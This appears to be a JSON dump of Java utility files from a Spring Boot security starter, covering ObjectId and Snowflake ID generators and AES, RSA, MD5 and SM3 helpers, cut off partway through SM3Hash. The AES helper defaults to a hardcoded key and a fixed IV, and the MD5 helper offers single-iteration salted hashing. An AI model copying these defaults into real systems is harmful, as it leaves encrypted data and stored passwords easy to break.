false;\n            } else {\n                for (int i = 0; i < len; ++i) {\n                    char c = hexString.charAt(i);\n                    if ((c < '0' || c > '9') && (c < 'a' || c > 'f') && (c < 'A' || c > 'F')) {\n                        return false;\n                    }\n                }\n\n                return true;\n            }\n        }\n    }\n\n    public ObjectId() {\n        this(new Date());\n    }\n\n    public ObjectId(Date date) {\n        this(dateToTimestampSeconds(date), NEXT_COUNTER.getAndIncrement() & 16777215, false);\n    }\n\n    public ObjectId(Date date, int counter) {\n        this(dateToTimestampSeconds(date), counter, true);\n    }\n\n    public ObjectId(int timestamp, int counter) {\n        this(timestamp, counter, true);\n    }\n\n    private ObjectId(int timestamp, int counter, boolean checkCounter) {\n        this(timestamp, RANDOM_VALUE1, RANDOM_VALUE2, counter, checkCounter);\n    }\n\n    private ObjectId(int timestamp, int randomValue1, short randomValue2, int counter, boolean checkCounter) {\n        if ((randomValue1 & -16777216) != 0) {\n            throw new IllegalArgumentException(\"The machine identifier must be between 0 and 16777215 (it must fit in three bytes).\");\n        } else if (checkCounter && (counter & -16777216) != 0) {\n            throw new IllegalArgumentException(\"The counter must be between 0 and 16777215 (it must fit in three bytes).\");\n        } else {\n            this.timestamp = timestamp;\n            this.counter = counter & 16777215;\n            this.randomValue1 = randomValue1;\n            this.randomValue2 = randomValue2;\n        }\n    }\n\n    public ObjectId(String hexString) {\n        this(parseHexString(hexString));\n    }\n\n    public ObjectId(byte[] bytes) {\n        this(ByteBuffer.wrap((byte[]) isTrueArgument(\"bytes has length of 12\", bytes, ((byte[]) notNull(\"bytes\", bytes)).length == 12)));\n    }\n\n    ObjectId(int timestamp, int machineAndProcessIdentifier, int counter) {\n        this(legacyToBytes(timestamp, machineAndProcessIdentifier, counter));\n    }\n\n    public ObjectId(ByteBuffer buffer) {\n        notNull(\"buffer\", buffer);\n        isTrueArgument(\"buffer.remaining() >=12\", buffer.remaining() >= 12);\n        this.timestamp = makeInt(buffer.get(), buffer.get(), buffer.get(), buffer.get());\n        this.randomValue1 = makeInt((byte) 0, buffer.get(), buffer.get(), buffer.get());\n        this.randomValue2 = makeShort(buffer.get(), buffer.get());\n        this.counter = makeInt((byte) 0, buffer.get(), buffer.get(), buffer.get());\n    }\n\n    private static byte[] legacyToBytes(int timestamp, int machineAndProcessIdentifier, int counter) {\n        byte[] bytes = new byte[]{int3(timestamp), int2(timestamp), int1(timestamp), int0(timestamp), int3(machineAndProcessIdentifier), int2(machineAndProcessIdentifier), int1(machineAndProcessIdentifier), int0(machineAndProcessIdentifier), int3(counter), int2(counter), int1(counter), int0(counter)};\n        return bytes;\n    }\n\n    public byte[] toByteArray() {\n        ByteBuffer buffer = ByteBuffer.allocate(12);\n        this.putToByteBuffer(buffer);\n        return buffer.array();\n    }\n\n    public void putToByteBuffer(ByteBuffer buffer) {\n        notNull(\"buffer\", buffer);\n        isTrueArgument(\"buffer.remaining() >=12\", buffer.remaining() >= 12);\n        buffer.put(int3(this.timestamp));\n        buffer.put(int2(this.timestamp));\n        buffer.put(int1(this.timestamp));\n        buffer.put(int0(this.timestamp));\n        buffer.put(int2(this.randomValue1));\n        buffer.put(int1(this.randomValue1));\n        buffer.put(int0(this.randomValue1));\n        buffer.put(short1(this.randomValue2));\n        buffer.put(short0(this.randomValue2));\n        buffer.put(int2(this.counter));\n        buffer.put(int1(this.counter));\n        buffer.put(int0(this.counter));\n    }\n\n    public int getTimestamp() {\n        return this.timestamp;\n    }\n\n    public Date getDate() {\n        return new Date(((long) this.timestamp & 4294967295L) * 1000L);\n    }\n\n    public String toHexString() {\n        char[] chars = new char[24];\n        int i = 0;\n        byte[] var3 = this.toByteArray();\n        int var4 = var3.length;\n\n        for (int var5 = 0; var5 < var4; ++var5) {\n            byte b = var3[var5];\n            chars[i++] = HEX_CHARS[b >> 4 & 15];\n            chars[i++] = HEX_CHARS[b & 15];\n        }\n        return new String(chars);\n    }\n\n    public boolean equals(Object o) {\n        if (this == o) {\n            return true;\n        } else if (o != null && this.getClass() == o.getClass()) {\n            ObjectId objectId = (ObjectId) o;\n            if (this.counter != objectId.counter) {\n                return false;\n            } else if (this.timestamp != objectId.timestamp) {\n                return false;\n            } else if (this.randomValue1 != objectId.randomValue1) {\n                return false;\n            } else {\n                return this.randomValue2 == objectId.randomValue2;\n            }\n        } else {\n            return false;\n        }\n    }\n\n    public int hashCode() {\n        int result = this.timestamp;\n        result = 31 * result + this.counter;\n        result = 31 * result + this.randomValue1;\n        result = 31 * result + this.randomValue2;\n        return result;\n    }\n\n    public int compareTo(ObjectId other) {\n        if (other == null) {\n            throw new NullPointerException();\n        } else {\n            byte[] byteArray = this.toByteArray();\n            byte[] otherByteArray = other.toByteArray();\n\n            for (int i = 0; i < 12; ++i) {\n                if (byteArray[i] != otherByteArray[i]) {\n                    return (byteArray[i] & 255) < (otherByteArray[i] & 255) ? -1 : 1;\n                }\n            }\n\n            return 0;\n        }\n    }\n\n    public String toString() {\n        return this.toHexString();\n    }\n\n    private static byte[] parseHexString(String s) {\n        if (!isValid(s)) {\n            throw new IllegalArgumentException(\"invalid hexadecimal representation of an ObjectId: [\" + s + \"]\");\n        } else {\n            byte[] b = new byte[12];\n\n            for (int i = 0; i < b.length; ++i) {\n                b[i] = (byte) Integer.parseInt(s.substring(i * 2, i * 2 + 2), 16);\n            }\n\n            return b;\n        }\n    }\n\n    private static int dateToTimestampSeconds(Date time) {\n        return (int) (time.getTime() / 1000L);\n    }\n\n    private static int makeInt(byte b3, byte b2, byte b1, byte b0) {\n        return b3 << 24 | (b2 & 255) << 16 | (b1 & 255) << 8 | b0 & 255;\n    }\n\n    private static short makeShort(byte b1, byte b0) {\n        return (short) ((b1 & 255) << 8 | b0 & 255);\n    }\n\n    private static byte int3(int x) {\n        return (byte) (x >> 24);\n    }\n\n    private static byte int2(int x) {\n        return (byte) (x >> 16);\n    }\n\n    private static byte int1(int x) {\n        return (byte) (x >> 8);\n    }\n\n    private static byte int0(int x) {\n        return (byte) x;\n    }\n\n    private static byte short1(short x) {\n        return (byte) (x >> 8);\n    }\n\n    private static byte short0(short x) {\n        return (byte) x;\n    }\n\n    static {\n        try {\n            SecureRandom secureRandom = new SecureRandom();\n            RANDOM_VALUE1 = secureRandom.nextInt(16777216);\n            RANDOM_VALUE2 = (short) secureRandom.nextInt(32768);\n        } catch (Exception var1) {\n            throw new RuntimeException(var1);\n        }\n    }\n\n    public static <T> T notNull(String name, T value) {\n        if (value == null) {\n            throw new IllegalArgumentException(name + \" can not be null\");\n        } else {\n            return value;\n        }\n    }\n\n    public static void isTrueArgument(String name, boolean condition) {\n        if (!condition) {\n            throw new IllegalArgumentException(\"state should be: \" + name);\n        }\n    }\n\n    public static <T> T isTrueArgument(String name, T value, boolean condition) {\n        if (!condition) {\n            throw new IllegalArgumentException(\"state should be: \" + name);\n        } else {\n            return value;\n        }\n    }\n\n    public static ObjectId get() {\n        return new ObjectId();\n    }\n\n    /**\n     * 生成 mongodb ObjectId\n     * @return 24长度的十六进制字符的字符串\n     */\n    public static String nextId() {\n        return ObjectId.get().toString();\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-security-spring-boot-starter/src/main/java/com/jun/plugin/security/util/idgen/Snowflake.java",
    "content": "package com.jun.plugin.security.util.idgen;\n\nimport com.jun.plugin.security.util.LocalHostUtil;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.lang.management.ManagementFactory;\nimport java.net.InetAddress;\nimport java.net.NetworkInterface;\nimport java.util.Random;\n\n/**\n * 雪花算法生成分布式ID\n *\n * @version 2022-05-21 9:53\n **/\npublic class Snowflake {\n    final static Logger log = LoggerFactory.getLogger(Snowflake.class);\n\n    // 时间起始标记点，一旦确定不能变动\n    private final static long TWEPOCH = 1577811661657L;\n\n    // 机器标识位数\n    private final static long WORKER_ID_BITS = 5L;\n\n    // 数据中心标识位数\n    private final static long DATA_CENTER_ID_BITS = 5L;\n\n    // 工作机器ID最大值 31\n    private final static long MAX_WORKER_ID = ~(-1L << WORKER_ID_BITS);\n\n    // 数据中心ID最大值 31\n    private final static long MAX_DATA_CENTER_ID = ~(-1L << DATA_CENTER_ID_BITS);\n\n    // 毫秒内自增位\n    private final static long SEQUENCE_BITS = 12L;\n\n    // 机器ID偏左移12位\n    private final static long WORKER_ID_SHIFT = SEQUENCE_BITS;\n\n    private final static long DATA_CENTER_ID_SHIFT = SEQUENCE_BITS + WORKER_ID_BITS;\n\n    // 时间毫秒左移22位\n    private final static long TIMESTAMP_LEFT_SHIFT = SEQUENCE_BITS + WORKER_ID_BITS + DATA_CENTER_ID_BITS;\n\n    // 序号掩码，用于与自增后的序列号进行位“与”操作，如果值为 0，则代表自增后的序列号超过了 4095。\n    private final static long SEQUENCE_MASK = ~(-1L << SEQUENCE_BITS);\n\n    private long lastTimestamp = -1L;\n\n    private long sequence = 0L;\n    private final long workerId;\n    private final long dataCenterId;\n\n    // 私有化示例要加上volatile，防止jvm重排序，导致空指针\n    private static volatile Snowflake snowflake = null;\n    private static final Object lock = new Object();\n\n    // IP 地址信息，用来生成工作机器 ID 和数据中心 ID。\n    private InetAddress address;\n\n\n    // 单例禁止new实例化\n    private Snowflake(long workerId, long dataCenterId) {\n        if (workerId > MAX_WORKER_ID || workerId < 0) {\n            throw new IllegalArgumentException(\n                    String.format(\"%s 工作机器ID最大值 必须是 %d 到 %d 之间\", dataCenterId, 0, MAX_WORKER_ID));\n        }\n        if (dataCenterId > MAX_DATA_CENTER_ID || dataCenterId < 0) {\n            throw new IllegalArgumentException(\n                    String.format(\"%s 数据中心ID最大值 必须是 %d 到 %d 之间\", dataCenterId, 0, MAX_DATA_CENTER_ID));\n        }\n        this.workerId = workerId;\n        this.dataCenterId = dataCenterId;\n    }\n\n    // 单例禁止new实例化\n    private Snowflake(InetAddress address) {\n        this.address = address;\n        this.dataCenterId = getDataCenterId(MAX_DATA_CENTER_ID);\n        this.workerId = getWorkerId(dataCenterId, MAX_DATA_CENTER_ID);\n    }\n\n    /**\n     * 雪花算法 ID 生成器。\n     */\n    private Snowflake() {\n        this(null);\n    }\n\n\n    /**\n     * 根据 MAC + PID 的 hashCode 获取 16 个低位生成工作机器 ID。\n     */\n    protected long getWorkerId(long dataCenterId, long maxWorkerId) {\n        StringBuilder mpId = new StringBuilder();\n        mpId.append(dataCenterId);\n        String name = ManagementFactory.getRuntimeMXBean().getName();\n        if (name != null && !name.isEmpty()) {\n            // GET jvmPid\n            mpId.append(name.split(\"@\")[0]);\n        }\n        // MAC + PID 的 hashCode 获取16个低位\n        return (mpId.toString().hashCode() & 0xffff) % (maxWorkerId + 1);\n    }\n\n\n    /**\n     * 根据网卡 MAC 地址计算余数作为数据中心 ID。\n     */\n    protected long getDataCenterId(long maxDataCenterId) {\n        long id = 0L;\n        try {\n            if (address == null) {\n                address = InetAddress.getLocalHost();\n            }\n            NetworkInterface network = NetworkInterface.getByInetAddress(address);\n            if (null == network) {\n                id = 1L;\n            } else {\n                byte[] mac = network.getHardwareAddress();\n                if (null != mac) {\n                    id = ((0x000000FF & (long) mac[mac.length - 2]) | (0x0000FF00 & (((long) mac[mac.length - 1]) << 8))) >> 6;\n                    id = id % (maxDataCenterId + 1);\n                }\n            }\n        } catch (Exception e) {\n            throw new RuntimeException(\"dataCenterId generate fail\", e);\n        }\n        return id;\n    }\n\n\n    /**\n     * 获取单例（懒汉式单例，有线程安全问题，所以加锁）\n     *\n     * @return\n     */\n    public static Snowflake getInstance() {\n        if (snowflake == null) {\n            synchronized (lock) {\n                if (snowflake == null) {\n                    snowflake = new Snowflake(LocalHostUtil.getInetAddress());\n                }\n            }\n        }\n        return snowflake;\n    }\n\n    /**\n     * 生成1-31之间的随机数（用于随机生成机器id和数据中心id）\n     *\n     * @return long\n     */\n    private static long getRandom(long maxId) {\n        int max = (int) (maxId);\n        int min = 1;\n        Random random = new Random();\n        long result = random.nextInt(max - min) + min;\n        return result;\n    }\n\n    /**\n     * 根据算法，生成下一个ID\n     *\n     * @return\n     */\n    private synchronized long generateId() {\n        long timestamp = time();\n        if (timestamp < lastTimestamp) {\n            log.error(\"时钟向后移动，拒绝生成id \" + (lastTimestamp - timestamp) + \" milliseconds\");\n        }\n        if (lastTimestamp == timestamp) {\n            // 当前毫秒内，则+1\n            sequence = (sequence + 1) & SEQUENCE_MASK;\n            if (sequence == 0) {\n                // 当前毫秒内计数满了，则等待下一秒\n                timestamp = tilNextMillis(lastTimestamp);\n            }\n        } else {\n            sequence = 0;\n        }\n        lastTimestamp = timestamp;\n\n        // ID偏移组合生成最终的ID，并返回ID\n        long nextId = ((timestamp - TWEPOCH) << TIMESTAMP_LEFT_SHIFT) | (dataCenterId << DATA_CENTER_ID_SHIFT)\n                | (workerId << WORKER_ID_SHIFT) | sequence;\n\n        return nextId;\n    }\n\n    private long tilNextMillis(final long lastTimestamp) {\n        long timestamp = this.time();\n        while (timestamp <= lastTimestamp) {\n            timestamp = this.time();\n        }\n        return timestamp;\n    }\n\n    private long time() {\n        return System.currentTimeMillis();\n    }\n\n\n    /**\n     * 获取雪花算法ID，返回String类型\n     *\n     * @return\n     */\n    public static String nextId() {\n        return String.valueOf(Snowflake.getInstance().generateId());\n    }\n\n\n    /**\n     * 获取雪花算法ID，返回String类型\n     *\n     * @return\n     */\n    public static long nextLongId() {\n        return Snowflake.getInstance().generateId();\n    }\n\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-security-spring-boot-starter/src/main/java/com/jun/plugin/security/util/secure/AESUtil.java",
    "content": "package com.jun.plugin.security.util.secure;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport javax.crypto.Cipher;\nimport javax.crypto.spec.IvParameterSpec;\nimport javax.crypto.spec.SecretKeySpec;\nimport java.nio.charset.StandardCharsets;\nimport java.util.Base64;\n\n/**\n * AESUtil工具类，使用Builder模式构造\n *\n * @version  2021-09-09-9:43\n **/\npublic class AESUtil {\n    final static Logger logger = LoggerFactory.getLogger(AESUtil.class);\n\n    /**\n     * 算法/加密模式/填充方式\n     */\n    private final static String ALGORITHMSTR = \"AES/CBC/PKCS5Padding\";\n\n    /**\n     * 密钥key（可以16或32字节）（128位密钥/256位密钥，设置256位密钥更难破解）\n     */\n    private String secretKey;\n\n    /**\n     * 偏移量（16字节）\n     */\n    private String ivParameter;\n\n    /**\n     * 是否使用base64编码（默认false，默认使用hex）\n     */\n    private boolean ifBase64;\n\n\n    public String getSecretKey() {\n        return secretKey;\n    }\n\n    public void setSecretKey(String secretKey) {\n        this.secretKey = secretKey;\n    }\n\n    public String getIvParameter() {\n        return ivParameter;\n    }\n\n    public void setIvParameter(String ivParameter) {\n        this.ivParameter = ivParameter;\n    }\n\n    public boolean isIfBase64() {\n        return ifBase64;\n    }\n\n    public void setIfBase64(boolean ifBase64) {\n        this.ifBase64 = ifBase64;\n    }\n\n\n    private AESUtil(AESUtilBuilder builder) {\n        this.secretKey = builder.secretKey;\n        this.ivParameter = builder.ivParameter;\n        this.ifBase64 = builder.ifBase64;\n    }\n\n\n    public static AESUtilBuilder builder() {\n        return new AESUtilBuilder();\n    }\n\n\n\n    /**\n     * 2020-08-13-14:07--liuxingyu01\n     * AES加密\n     *\n     * @param content 要加密的字符串\n     * @return 430301102072 / d086af4d68888097504e536e5cfe351c / Hex字符串展示\n     */\n    public String encrypt(String content) {\n        try {\n            byte[] raw = secretKey.getBytes(StandardCharsets.UTF_8);\n            SecretKeySpec skeySpec = new SecretKeySpec(raw, \"AES\");\n            Cipher cipher = Cipher.getInstance(ALGORITHMSTR);\n            // 使用CBC模式，需要一个向量iv，可增加加密算法的强度\n            IvParameterSpec ips = new IvParameterSpec(ivParameter.getBytes(StandardCharsets.UTF_8));\n            cipher.init(Cipher.ENCRYPT_MODE, skeySpec, ips);\n            byte[] encrypted = cipher.doFinal(content.getBytes(StandardCharsets.UTF_8));\n\n            if (ifBase64) { // 此处使用BASE64做编码\n                return Base64.getEncoder().encodeToString(encrypted);\n            } else { // 此处使用Hex做编码\n                return HexUtil.bytesToHex(encrypted);\n            }\n        } catch (Exception e) {\n            logger.error(\"AESUtils -- encrypt -- Exception=\", e);\n            return null;\n        }\n    }\n\n\n    /**\n     * AES解密\n     *\n     * @param content 要解密的字符串\n     * @return 解密后的结果\n     */\n    public String decrypt(String content) {\n        try {\n            Cipher cipher = Cipher.getInstance(ALGORITHMSTR);\n            byte[] raw = secretKey.getBytes(StandardCharsets.UTF_8);\n            SecretKeySpec skeySpec = new SecretKeySpec(raw, \"AES\");\n            // 使用CBC模式，需要一个向量iv，可增加加密算法的强度\n            IvParameterSpec ips = new IvParameterSpec(ivParameter.getBytes(StandardCharsets.UTF_8));\n            cipher.init(Cipher.DECRYPT_MODE, skeySpec, ips);\n            byte[] result;\n            if (ifBase64) { // 此处使用BASE64做编码\n                result = cipher.doFinal(Base64.getDecoder().decode(content));\n            } else { // 此处使用Hex做编码\n                result = cipher.doFinal(HexUtil.hexToBytes(content));\n            }\n            return new String(result, StandardCharsets.UTF_8);\n        } catch (Exception e) {\n            logger.error(\"AESUtils -- decrypt -- Exception=\", e);\n            return null;\n        }\n    }\n\n\n    /**\n     * AESUtilsBuilder\n     */\n    public static final class AESUtilBuilder {\n        private String secretKey = \"1G78Av#yej%WZJ3uiSZRz9oy%UAv4!EG\";\n        private String ivParameter = \"E%BJuDUTvXfwSuGQ\";\n        private boolean ifBase64 = false;\n\n        public AESUtilBuilder() {\n            this.secretKey = secretKey;\n            this.ivParameter = ivParameter;\n            this.ifBase64 = ifBase64;\n        }\n\n        public AESUtilBuilder secretKey(String secretKey) {\n            this.secretKey = secretKey;\n            return this;\n        }\n\n        public AESUtilBuilder ivParameter(String ivParameter) {\n            this.ivParameter = ivParameter;\n            return this;\n        }\n\n        public AESUtilBuilder ifBase64(boolean ifBase64) {\n            this.ifBase64 = ifBase64;\n            return this;\n        }\n\n        public AESUtil build() {\n            AESUtil aesUtil = new AESUtil(this);\n            return aesUtil;\n        }\n    }\n\n\n    /**\n     * 测试\n     * @param args\n     * @throws Exception\n     */\n    public static void main(String[] args) throws Exception {\n        // 原文:\n        String message = \"Helloworld!\";\n        System.out.println(\"Message: \" + message);\n\n        // 使用方法\n        AESUtil aesUtils = AESUtil.builder().secretKey(\"1G78Av#yej%WZJ3uiSZRz9oy%UAv4AAA\").ivParameter(\"E%BAAAUTvXfwSuGQ\").build();\n\n        // 加密:\n        String encrypted = aesUtils.encrypt(message);\n        System.out.println(\"加密: \" + encrypted);\n\n        // 解密:\n        String decrypted = aesUtils.decrypt(encrypted);\n        System.out.println(\"解密: \" + decrypted);\n    }\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-security-spring-boot-starter/src/main/java/com/jun/plugin/security/util/secure/HexUtil.java",
    "content": "package com.jun.plugin.security.util.secure;\n\npublic class HexUtil {\n\n    /**\n     * 字节数组转16进制\n     *\n     * @param bytes 需要转换的byte数组\n     * @return 转换后的Hex字符串\n     */\n    public static String bytesToHex(byte[] bytes) {\n        StringBuilder sb = new StringBuilder();\n        for (int i = 0; i < bytes.length; i++) {\n            String hex = Integer.toHexString(bytes[i] & 0xFF);\n            if (hex.length() < 2) {\n                sb.append(0);\n            }\n            sb.append(hex);\n        }\n        return sb.toString();\n    }\n\n    /**\n     * hex字符串转byte字节数组\n     *\n     * @param inHex 待转换的Hex字符串\n     * @return 转换后的byte数组结果\n     */\n    public static byte[] hexToBytes(String inHex) {\n        int hexlen = inHex.length();\n        byte[] result;\n        if (hexlen % 2 == 1) {\n            // 奇数\n            hexlen++;\n            result = new byte[(hexlen / 2)];\n            inHex = \"0\" + inHex;\n        } else {\n            // 偶数\n            result = new byte[(hexlen / 2)];\n        }\n        int j = 0;\n        for (int i = 0; i < hexlen; i += 2) {\n            result[j] = hexToByte(inHex.substring(i, i + 2));\n            j++;\n        }\n        return result;\n    }\n\n    /**\n     * Hex字符串转byte\n     *\n     * @param inHex 待转换的Hex字符串\n     * @return 转换后的byte\n     */\n    public static byte hexToByte(String inHex) {\n        return (byte) Integer.parseInt(inHex, 16);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-security-spring-boot-starter/src/main/java/com/jun/plugin/security/util/secure/MD5Hash.java",
    "content": "package com.jun.plugin.security.util.secure;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.nio.charset.StandardCharsets;\nimport java.security.MessageDigest;\nimport java.util.Base64;\n\n\n/**\n * MD5-Hsah算法加密\n *\n * @version 2020-05-28-23:34\n **/\npublic class MD5Hash {\n    final static Logger log = LoggerFactory.getLogger(MD5Hash.class);\n\n    /**\n     * 原始值\n     */\n    private String source;\n\n    /**\n     * 颜值\n     */\n    private String salt = \"\";\n\n    /**\n     * 迭代次数（默认1次）\n     */\n    private int iterations = 1;\n\n    public String getSource() {\n        return this.source;\n    }\n\n    public void setSource(String source) {\n        this.source = source;\n    }\n\n    public String getSalt() {\n        return this.salt;\n    }\n\n    public void setSalt(String salt) {\n        this.salt = salt;\n    }\n\n    public int getIterations() {\n        return this.iterations;\n    }\n\n    public void setIterations(int iterations) {\n        this.iterations = iterations;\n    }\n\n    public MD5Hash(String source, String salt, int iterations) {\n        this.source = source;\n        this.salt = salt;\n        this.iterations = iterations;\n    }\n\n    public MD5Hash(String source, String salt) {\n        this.source = source;\n        this.salt = salt;\n    }\n\n    public MD5Hash(String source) {\n        this.source = source;\n    }\n\n    public MD5Hash(String source, int iterations) {\n        this.source = source;\n        this.iterations = iterations;\n    }\n\n\n    /**\n     * 返回小写MD5\n     *\n     * @param source 原始值字符串\n     * @return hash后的字节数组\n     */\n    private byte[] MD5Encode(String source, String salt, int hashIterations) {\n        MessageDigest messageDigest = null;\n        byte[] hashedBytes = null;\n        try {\n            messageDigest = MessageDigest.getInstance(\"MD5\");\n            // 先加盐\n            if (salt != null) {\n                messageDigest.reset();\n                messageDigest.update(salt.getBytes(StandardCharsets.UTF_8));\n            }\n            // 再放需要被hash的数据\n            hashedBytes = messageDigest.digest(source.getBytes(StandardCharsets.UTF_8));\n            // 最少迭代一次\n            if (hashIterations < 1) {\n                hashIterations = 1;\n            }\n            // 迭代继续hash\n            for (int i = 0; i < hashIterations - 1; i++) {\n                messageDigest.reset();\n                hashedBytes = messageDigest.digest(hashedBytes);\n            }\n        } catch (Exception e) {\n            if (log.isErrorEnabled()) {\n                log.error(\"MD5Utils -- MD5Encode -- Exception= {e}\", e);\n            }\n        }\n        return hashedBytes;\n    }\n\n\n    /**\n     * 将将byte[]转为16进制字符串\n     *\n     * @return 16进制字符串\n     */\n    public String toHex() {\n        byte[] resultBytes = this.MD5Encode(this.source, this.salt, this.iterations);\n        return HexUtil.bytesToHex(resultBytes);\n    }\n\n\n    /**\n     * 将将byte[]转为Base64字符串\n     *\n     * @return Base64字符串\n     */\n    public String toBase64() {\n        byte[] resultBytes = this.MD5Encode(this.source, this.salt, this.iterations);\n        return Base64.getEncoder().encodeToString(resultBytes);\n    }\n\n\n    /**\n     * 将将byte[]转为16进制字符串\n     *\n     * @return 16进制字符串\n     */\n    @Override\n    public String toString() {\n        return this.toHex();\n    }\n\n\n    public static void main(String[] args) {\n        System.out.println(new MD5Hash(\"123456\", \"323@#@$1234da\", 1).toHex());\n        System.out.println(new MD5Hash(\"123456\", \"323@#@$1234da\").toHex());\n        System.out.println(new MD5Hash(\"123456\").toHex());\n\n        System.out.println(new MD5Hash(\"123456\", \"323@#@$1234da\", 2).toHex());\n\n        System.out.println(new MD5Hash(\"123456\", \"323@#@$1234da\", 3).toHex());\n\n        System.out.println(new MD5Hash(\"123456\", \"323@#@$1234da\", 3).toBase64());\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-security-spring-boot-starter/src/main/java/com/jun/plugin/security/util/secure/RSAUtil.java",
    "content": "package com.jun.plugin.security.util.secure;\n\nimport javax.crypto.Cipher;\nimport java.security.*;\nimport java.security.interfaces.RSAPrivateKey;\nimport java.security.interfaces.RSAPublicKey;\nimport java.security.spec.PKCS8EncodedKeySpec;\nimport java.security.spec.X509EncodedKeySpec;\nimport java.util.Base64;\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * RSA 加密工具类 用于前后端密码密文传输\n * RSA非对称加密算法，如果是公钥加密，就得用私钥解密，反过来也一样，私钥加密的就用公钥解密。\n * @version  2022-03-29 10:35\n **/\npublic class RSAUtil {\n    /**\n     * 公钥解密\n     *\n     * @param publicKeyString 公钥\n     * @param text            待解密的信息\n     * @return 解密后的文本\n     */\n    public static String decryptByPublicKey(String publicKeyString, String text) throws Exception {\n        X509EncodedKeySpec x509EncodedKeySpec = new X509EncodedKeySpec(Base64.getDecoder().decode(publicKeyString));\n        KeyFactory keyFactory = KeyFactory.getInstance(\"RSA\");\n        PublicKey publicKey = keyFactory.generatePublic(x509EncodedKeySpec);\n        Cipher cipher = Cipher.getInstance(\"RSA\");\n        cipher.init(Cipher.DECRYPT_MODE, publicKey);\n        byte[] result = cipher.doFinal(Base64.getDecoder().decode(text));\n        return new String(result);\n    }\n\n    /**\n     * 私钥加密\n     *\n     * @param privateKeyString 私钥\n     * @param text             待加密的信息\n     * @return 加密后的文本\n     */\n    public static String encryptByPrivateKey(String privateKeyString, String text) throws Exception {\n        PKCS8EncodedKeySpec pkcs8EncodedKeySpec = new PKCS8EncodedKeySpec(Base64.getDecoder().decode(privateKeyString));\n        KeyFactory keyFactory = KeyFactory.getInstance(\"RSA\");\n        PrivateKey privateKey = keyFactory.generatePrivate(pkcs8EncodedKeySpec);\n        Cipher cipher = Cipher.getInstance(\"RSA\");\n        cipher.init(Cipher.ENCRYPT_MODE, privateKey);\n        byte[] result = cipher.doFinal(text.getBytes());\n        return Base64.getEncoder().encodeToString(result);\n    }\n\n    /**\n     * 私钥解密\n     *\n     * @param privateKeyString 私钥\n     * @param text             待解密的文本\n     * @return 解密后的文本\n     */\n    public static String decryptByPrivateKey(String privateKeyString, String text) throws Exception {\n        PKCS8EncodedKeySpec pkcs8EncodedKeySpec5 = new PKCS8EncodedKeySpec(Base64.getDecoder().decode(privateKeyString));\n        KeyFactory keyFactory = KeyFactory.getInstance(\"RSA\");\n        PrivateKey privateKey = keyFactory.generatePrivate(pkcs8EncodedKeySpec5);\n        Cipher cipher = Cipher.getInstance(\"RSA\");\n        cipher.init(Cipher.DECRYPT_MODE, privateKey);\n        byte[] result = cipher.doFinal(Base64.getDecoder().decode(text));\n        return new String(result);\n    }\n\n    /**\n     * 公钥加密\n     *\n     * @param publicKeyString 公钥\n     * @param text            待加密的文本\n     * @return 加密后的文本\n     */\n    public static String encryptByPublicKey(String publicKeyString, String text) throws Exception {\n        X509EncodedKeySpec x509EncodedKeySpec2 = new X509EncodedKeySpec(Base64.getDecoder().decode(publicKeyString));\n        KeyFactory keyFactory = KeyFactory.getInstance(\"RSA\");\n        PublicKey publicKey = keyFactory.generatePublic(x509EncodedKeySpec2);\n        Cipher cipher = Cipher.getInstance(\"RSA\");\n        cipher.init(Cipher.ENCRYPT_MODE, publicKey);\n        byte[] result = cipher.doFinal(text.getBytes());\n        return Base64.getEncoder().encodeToString(result);\n    }\n\n    /**\n     * 构建RSA密钥对\n     *\n     * @return 生成后的公私钥信息\n     */\n    public static Map<String, String> generateKeyPair() throws NoSuchAlgorithmException {\n        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance(\"RSA\");\n        keyPairGenerator.initialize(2048);\n        KeyPair keyPair = keyPairGenerator.generateKeyPair();\n        RSAPublicKey rsaPublicKey = (RSAPublicKey) keyPair.getPublic();\n        RSAPrivateKey rsaPrivateKey = (RSAPrivateKey) keyPair.getPrivate();\n        String publicKeyString = Base64.getEncoder().encodeToString(rsaPublicKey.getEncoded());\n        String privateKeyString = Base64.getEncoder().encodeToString(rsaPrivateKey.getEncoded());\n        return new HashMap<String,String>(){{\n            put(\"publicKey\", publicKeyString);\n            put(\"privateKey\", privateKeyString);\n        }};\n    }\n\n\n    /**\n     * 测试\n     * @param args\n     * @throws NoSuchAlgorithmException\n     */\n    public static void main(String[] args) throws Exception {\n        Map<String, String> pair = generateKeyPair();\n        String publicKey = pair.get(\"publicKey\");\n        String privateKey = pair.get(\"privateKey\");\n\n        // 使用公钥加密\n        String encryptedValue = encryptByPublicKey(publicKey, \"abcdefg\");\n\n        System.out.println(encryptedValue);\n\n        // 使用私钥解密\n        String decryptedValue = decryptByPrivateKey(privateKey, encryptedValue);\n\n        System.out.println(decryptedValue);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-security-spring-boot-starter/src/main/java/com/jun/plugin/security/util/secure/SM3Hash.java",
    "content": "package com.jun.plugin.security.util.secure;\n\nimport com.jun.plugin.security.util.secure.sm3.SM3Digest;\n\nimport java.nio.charset.StandardCharsets;\nimport java.util.Base64;\n\npublic class SM3Hash {\n\n    /**\n     * 原始值\n     */\n    private String source;\n\n    /**\n     * 盐值\n     */\n    private String salt = \"\";\n\n    /**\n     * 迭代次数（默认1次）\n     */\n    private int iterations = 1;\n\n    public String getSource() {\n        return this.source;\n    }\n\n    public void setSource(String source) {\n        this.source = source;\n    }\n\n    public String getSalt() {\n        return this.salt;\n    }\n\n    public void setSalt(String salt) {\n        this.salt = salt;\n    }\n\n    public int getIterations() {\n        return this.iterations;\n    }\n\n    public void setIterations(int iterations) {\n        this.iterations = iterations;\n    }\n\n    public SM3Hash(String source, String salt, int iterations) {\n        this.source = source;\n        this.salt = salt;\n        this.iterations = iterations;\n    }\n\n    public SM3Hash(String source, String salt) {\n        this.source = source;\n        this.salt = salt;\n    }\n\n    public SM3Hash(String source) {\n        this.source = source;\n    }\n\n    public SM3Hash(String source, int iterations) {\n        this.source = source;\n        this.iterations = 